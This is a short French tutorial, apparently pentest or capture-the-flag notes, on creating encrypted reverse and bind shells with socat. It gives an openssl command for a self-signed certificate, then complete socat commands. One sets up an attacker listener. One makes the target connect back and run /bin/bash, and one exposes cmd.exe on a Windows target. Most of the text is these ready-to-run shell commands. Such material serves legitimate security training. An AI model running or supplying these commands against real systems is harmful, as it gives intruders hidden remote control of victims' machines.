😼Socat

Socat est un outil puissant permettant de créer des connexions bidirectionnelles entre deux points. Dans ce tutoriel, nous allons explorer comment utiliser Socat pour créer des shells chiffrés, à la fois liés et inversés.

🔒 Génération d'un Certificat pour les Shells Chiffrés

Avant de commencer, générons un certificat pour sécuriser nos connexions :

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

Cette commande crée une clé RSA de 2 048 bits avec un fichier de certificat auto-signé, valide pour moins d'un an. Vous serez invité à fournir des informations sur le certificat, qui peuvent être laissées vides ou remplies de manière aléatoire.

Combinons ensuite les deux fichiers créés en un seul fichier .pem :

cat shell.key shell.crt > shell.pem

🔒 Shell Inversé Chiffré

Pour configurer un écouteur de shell inversé chiffré, utilisez :

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

Ceci configure un écouteur Socat avec OpenSSL, utilisant notre certificat généré. L'option verify=0 indique à la connexion de ne pas essayer de valider que notre certificat a été correctement signé par une autorité reconnue.

Pour vous reconnecter, utilisez :

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

🔒 Bind Shell Chiffré

Pour configurer un shell lié chiffré sur la cible (par exemple, sur Windows avec cmd.exe), utilisez :

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

Sur l'attaquant, utilisez :

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

Encore une fois, notez que le certificat doit être utilisé sur l'écouteur, donc assurez-vous de copier le fichier PEM sur la cible pour un shell lié.

Last updated